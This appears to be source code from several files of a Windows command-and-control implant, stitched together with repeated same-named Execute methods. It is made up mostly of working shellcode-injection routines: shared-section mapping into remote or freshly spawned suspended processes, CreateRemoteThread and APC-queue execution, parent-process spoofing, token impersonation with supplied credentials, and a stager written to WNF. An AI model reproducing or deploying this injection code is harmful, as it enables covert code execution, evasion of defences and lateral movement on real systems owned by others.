public static void Execute(string[] args)
{
if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
{
if (File.Exists(filesrc))
{
ReadFile(filesrc);
}
}
else
{
try
{
//Login
IntPtr hToken = IntPtr.Zero;
IntPtr hTokenDuplicate = IntPtr.Zero;
if (Natives.LogonUser(username, domain, password, Natives.LOGON32_LOGON_NEW_CREDENTIALS, Natives.LOGON32_PROVIDER_DEFAULT, ref hToken))
{
Natives.SECURITY_ATTRIBUTES secAttribs = new Natives.SECURITY_ATTRIBUTES();
if (Natives.DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hTokenDuplicate))
{
if (!Natives.ImpersonateLoggedOnUser(hTokenDuplicate))
{
return;
}
try
{
if (File.Exists(filesrc))
{
ReadFile(filesrc);
}
}
catch (Exception)
{
}
Natives.RevertToSelf();
}
}
if (hToken != IntPtr.Zero)
{
Natives.CloseHandle(hToken);
}
if (hTokenDuplicate != IntPtr.Zero)
{
Natives.CloseHandle(hTokenDuplicate);
}
}
catch (Exception)
{
return;
}
}
}
public static bool Is64bit(int pid)
{
IntPtr hproc = OpenProcess(pid);
bool retVal;
if (!Natives.IsWow64Process(hproc, out retVal))
{
retVal = true;
}
Natives.CloseHandle(hproc);
return(!retVal);
}
public static bool OpenAndInject(int pid, byte[] payload)
{
IntPtr hproc = OpenProcess(pid);
uint size = InjectionHelper.GetSectionSize(payload.Length);
//Crteate section in current process
IntPtr section = IntPtr.Zero;
section = InjectionHelper.CreateSection(size, Natives.PAGE_EXECUTE_READWRITE);
if (section == IntPtr.Zero)
{
return(false);
}
//Map section to current process
IntPtr baseAddr = IntPtr.Zero;
IntPtr viewSize = (IntPtr)size;
InjectionHelper.MapViewOfSection(section, Natives.GetCurrentProcess(), ref baseAddr, ref viewSize, Natives.PAGE_EXECUTE_READWRITE);
if (baseAddr == IntPtr.Zero)
{
return(false);
}
//Copy payload to current process section
Marshal.Copy(payload, 0, baseAddr, payload.Length);
//Map remote section
IntPtr baseAddrEx = IntPtr.Zero;
IntPtr viewSizeEx = (IntPtr)size;
InjectionHelper.MapViewOfSection(section, hproc, ref baseAddrEx, ref viewSizeEx, Natives.PAGE_EXECUTE_READWRITE);
if (baseAddrEx == IntPtr.Zero || viewSizeEx == IntPtr.Zero)
{
return(false);
}
if (!InjectionHelper.UnMapViewOfSection(baseAddr))
{
return(false);
}
Natives.CreateRemoteThread(hproc, IntPtr.Zero, 0, baseAddrEx, IntPtr.Zero, 0, IntPtr.Zero);
Natives.CloseHandle(section);
Natives.CloseHandle(hproc);
return(true);
}
static void Execute(string [] args)
{
var startInfo = new Natives.STARTUPINFO();
Natives.PROCESS_INFORMATION procInfo = new Natives.PROCESS_INFORMATION();
Natives.LARGE_INTEGER largeinteger = new Natives.LARGE_INTEGER();
Natives.SYSTEM_INFO info = new Natives.SYSTEM_INFO();
startInfo.cb = (uint)Marshal.SizeOf(startInfo);
Natives.SECURITY_ATTRIBUTES pSec = new Natives.SECURITY_ATTRIBUTES();
Natives.SECURITY_ATTRIBUTES tSec = new Natives.SECURITY_ATTRIBUTES();
pSec.nLength = Marshal.SizeOf(pSec);
tSec.nLength = Marshal.SizeOf(tSec);
IntPtr section = IntPtr.Zero;
uint size = 0;
IntPtr baseAddr = IntPtr.Zero;
IntPtr viewSize = (IntPtr)size;
IntPtr soffset = IntPtr.Zero;
IntPtr baseAddrEx = IntPtr.Zero;
IntPtr viewSizeEx = (IntPtr)size;
IntPtr hToken = IntPtr.Zero;
IntPtr hProcTest = IntPtr.Zero;
IntPtr hTokenTest = IntPtr.Zero;
uint flags = Natives.CreateSuspended | Natives.CreateNoWindow;
try
{
if (Natives.CreateProcessWithLogonW("#USERNAME#", "#DOMAIN#", "#PASSWORD#", Natives.LogonFlags.NetCredentialsOnly, @"C:\Windows\System32\#SPAWN#", "", flags, (UInt32)0, "C:\\Windows\\System32", ref startInfo, out procInfo))
{
byte[] payload = DecompressDLL(Convert.FromBase64String(nutclr));
//Round payload size to page size
Natives.GetSystemInfo(ref info);
size = info.dwPageSize - (uint)payload.Length % info.dwPageSize + (uint)payload.Length;
largeinteger.LowPart = size;
//Crteate section in current process
var status = Natives.ZwCreateSection(ref section, Natives.GenericAll, IntPtr.Zero, ref largeinteger, Natives.PAGE_EXECUTE_READWRITE, Natives.SecCommit, IntPtr.Zero);
//Map section to current process
status = Natives.ZwMapViewOfSection(section, Natives.GetCurrentProcess(), ref baseAddr, IntPtr.Zero, IntPtr.Zero, soffset, ref viewSize, 1, 0, Natives.PAGE_EXECUTE_READWRITE);
if (baseAddr != IntPtr.Zero)
{
//Copy payload to current process section
Marshal.Copy(payload, 0, baseAddr, payload.Length);
//Map remote section
status = Natives.ZwMapViewOfSection(section, procInfo.hProcess, ref baseAddrEx, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref viewSizeEx, 1, 0, Natives.PAGE_EXECUTE_READWRITE);
if (baseAddrEx != IntPtr.Zero && viewSizeEx != IntPtr.Zero)
{
//Unmap current process section
Natives.ZwUnmapViewOfSection(Natives.GetCurrentProcess(), baseAddr);
// Assign address of shellcode to the target thread apc queue
IntPtr th = procInfo.hThread;
IntPtr ptrq = Natives.ZwQueueApcThread(th, baseAddrEx, IntPtr.Zero);
Natives.ZwSetInformationThread(th, 1, IntPtr.Zero, 0);
//Before resuming the thread we write the stager on wnf
//so it can be read from the spawned process from other session
WriteWnF(task);
int rest = Natives.ZwResumeThread(th, out ulong outsupn);
}
else
{
Console.WriteLine("[x] Error mapping remote section");
File.WriteAllText(@"c:\temp\log.txt", "[x] Error mapping remote section");
}
}
else
{
Console.WriteLine("[x] Error mapping section to current process");
File.WriteAllText(@"c:\temp\log.txt", "[x] Error mapping section to current process");
}
Natives.CloseHandle(procInfo.hThread);
Natives.CloseHandle(procInfo.hProcess);
Natives.CloseHandle(hProcTest);
Natives.CloseHandle(hTokenTest);
}
else
{
Console.WriteLine("[x] Error creating process");
File.WriteAllText(@"c:\temp\log.txt", "[x] Error creating process " + Natives.GetLastError());
}
Natives.CloseHandle(hProcTest);
Natives.CloseHandle(hTokenTest);
}
catch (Exception e)
{
Console.WriteLine("[x] Generic error");
File.WriteAllText(@"c:\temp\log.txt", "[x] Generic error " + e.Message + " " + e.StackTrace);
}
}
public static bool SapwnAndInjectPPID(string binary, byte[] payload, int ppid)
{
Natives.PROCESS_INFORMATION procInfo = new Natives.PROCESS_INFORMATION();
Natives.CreationFlags flags = Natives.CreationFlags.CREATE_SUSPENDED | Natives.CreationFlags.DETACHED_PROCESS
| Natives.CreationFlags.CREATE_NO_WINDOW | Natives.CreationFlags.EXTENDED_STARTUPINFO_PRESENT;
if (!Spawner.CreateProcess(binary, ppid, flags, ref procInfo))
{
return(false);
}
//Round payload size to page size
uint size = InjectionHelper.GetSectionSize(payload.Length);
//Crteate section in current process
IntPtr section = IntPtr.Zero;
section = InjectionHelper.CreateSection(size, Natives.PAGE_EXECUTE_READWRITE);
if (section == IntPtr.Zero)
{
return(false);
}
//Map section to current process
IntPtr baseAddr = IntPtr.Zero;
IntPtr viewSize = (IntPtr)size;
InjectionHelper.MapViewOfSection(section, Natives.GetCurrentProcess(), ref baseAddr, ref viewSize, Natives.PAGE_READWRITE);
if (baseAddr == IntPtr.Zero)
{
return(false);
}
//Copy payload to current process section
Marshal.Copy(payload, 0, baseAddr, payload.Length);
//Map remote section
IntPtr baseAddrEx = IntPtr.Zero;
IntPtr viewSizeEx = (IntPtr)size;
InjectionHelper.MapViewOfSection(section, procInfo.hProcess, ref baseAddrEx, ref viewSizeEx, Natives.PAGE_EXECUTE);
if (baseAddrEx == IntPtr.Zero || viewSizeEx == IntPtr.Zero)
{
return(false);
}
if (!InjectionHelper.UnMapViewOfSection(baseAddr))
{
return(false);
}
// Assign address of shellcode to the target apc queue
if (!InjectionHelper.QueueApcThread(baseAddrEx, procInfo))
{
return(false);
}
InjectionHelper.ResumeThread(procInfo);
Natives.CloseHandle(procInfo.hThread);
Natives.CloseHandle(procInfo.hProcess);
return(true);
}
public static void Execute(string[] args)
{
if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
{
CopyFile();
}
else
{
try
{
//Login
IntPtr hToken = IntPtr.Zero;
IntPtr hTokenDuplicate = IntPtr.Zero;
if (Natives.LogonUser(username, domain, password, Natives.LOGON32_LOGON_NEW_CREDENTIALS, Natives.LOGON32_PROVIDER_DEFAULT, ref hToken))
{
Console.WriteLine("[*] Login successfully");
Natives.SECURITY_ATTRIBUTES secAttribs = new Natives.SECURITY_ATTRIBUTES();
if (Natives.DuplicateTokenEx(hToken, 0xf01ff, ref secAttribs, 2, 1, ref hTokenDuplicate))
{
if (!Natives.ImpersonateLoggedOnUser(hTokenDuplicate))
{
throw new SystemException("[x] Failed to impersonate context");
}
try
{
CopyFile();
}
catch (Exception e)
{
Console.WriteLine("[x] Something went wrong!!" + e.Message);
Console.WriteLine("[x] " + e.StackTrace);
}
Natives.RevertToSelf();
}
else
{
Console.WriteLine("[x] Faliled duplicate Token");
}
}
else
{
Console.WriteLine("[x] Logon Faliled {0} - {1} - {2}", username, domain, password);
}
if (hToken != IntPtr.Zero)
{
Natives.CloseHandle(hToken);
}
if (hTokenDuplicate != IntPtr.Zero)
{
Natives.CloseHandle(hTokenDuplicate);
}
}
catch (Exception)
{
Console.WriteLine("[x] Error writing file");
return;
}
}
}
public void ExecuteModule()
{
string output = "";
IntPtr hReadPipe = IntPtr.Zero;
IntPtr hWritePipe = IntPtr.Zero;
if (!Spawner.CreatePipe(ref hReadPipe, ref hWritePipe))
{
return;
}
Natives.PROCESS_INFORMATION procInfo = new Natives.PROCESS_INFORMATION();
if (!Spawner.CreateProcess(hReadPipe, hWritePipe, this.processname, true, ref procInfo))
{
return;
}
string pipename = GetPipeName(procInfo.dwProcessId);
InjectionLoaderListener injectionLoaderListener = new InjectionLoaderListener(pipename, task);
byte[] payload = Utility.DecompressDLL(Convert.FromBase64String(Program.nutclr));
//Round payload size to page size
uint size = InjectionHelper.GetSectionSize(payload.Length);
//Crteate section in current process
IntPtr section = IntPtr.Zero;
section = InjectionHelper.CreateSection(size);
if (section == IntPtr.Zero)
{
return;
}
//Map section to current process
IntPtr baseAddr = IntPtr.Zero;
IntPtr viewSize = (IntPtr)size;
InjectionHelper.MapViewOfSection(section, Natives.GetCurrentProcess(), ref baseAddr, ref viewSize);
if (baseAddr == IntPtr.Zero)
{
return;
}
//Copy payload to current process section
Marshal.Copy(payload, 0, baseAddr, payload.Length);
//Map remote section
IntPtr baseAddrEx = IntPtr.Zero;
IntPtr viewSizeEx = (IntPtr)size;
InjectionHelper.MapViewOfSection(section, procInfo.hProcess, ref baseAddrEx, ref viewSizeEx);
if (baseAddrEx == IntPtr.Zero || viewSizeEx == IntPtr.Zero)
{
return;
}
if (!InjectionHelper.UnMapViewOfSection(baseAddr))
{
return;
}
// Assign address of shellcode to the target thread apc queue
if (!InjectionHelper.QueueApcThread(baseAddrEx, procInfo))
{
return;
}
IntPtr infoth = InjectionHelper.SetInformationThread(procInfo);
if (infoth == IntPtr.Zero)
{
return;
}
InjectionHelper.ResumeThread(procInfo);
output = injectionLoaderListener.Execute(procInfo.hProcess, hReadPipe);
Natives.CloseHandle(procInfo.hThread);
Natives.CloseHandle(procInfo.hProcess);
SendResponse(output);
}
public static bool SapwnAndInject(string binary, byte[] payload)
{
Natives.PROCESS_INFORMATION procInfo = new Natives.PROCESS_INFORMATION();
if (!Spawner.CreateProcess(binary, true, ref procInfo))
{
return(false);
}
//Round payload size to page size
uint size = InjectionHelper.GetSectionSize(payload.Length);
//Crteate section in current process
IntPtr section = IntPtr.Zero;
section = InjectionHelper.CreateSection(size);
if (section == IntPtr.Zero)
{
return(false);
}
//Map section to current process
IntPtr baseAddr = IntPtr.Zero;
IntPtr viewSize = (IntPtr)size;
InjectionHelper.MapViewOfSection(section, Natives.GetCurrentProcess(), ref baseAddr, ref viewSize);
if (baseAddr == IntPtr.Zero)
{
return(false);
}
//Copy payload to current process section
Marshal.Copy(payload, 0, baseAddr, payload.Length);
//Map remote section
IntPtr baseAddrEx = IntPtr.Zero;
IntPtr viewSizeEx = (IntPtr)size;
InjectionHelper.MapViewOfSection(section, procInfo.hProcess, ref baseAddrEx, ref viewSizeEx);
if (baseAddrEx == IntPtr.Zero || viewSizeEx == IntPtr.Zero)
{
return(false);
}
if (!InjectionHelper.UnMapViewOfSection(baseAddr))
{
return(false);
}
// Assign address of shellcode to the target thread apc queue
if (!InjectionHelper.QueueApcThread(baseAddrEx, procInfo))
{
return(false);
}
IntPtr infoth = InjectionHelper.SetInformationThread(procInfo);
if (infoth == IntPtr.Zero)
{
return(false);
}
InjectionHelper.ResumeThread(procInfo);
Natives.CloseHandle(procInfo.hThread);
Natives.CloseHandle(procInfo.hProcess);
return(true);
}
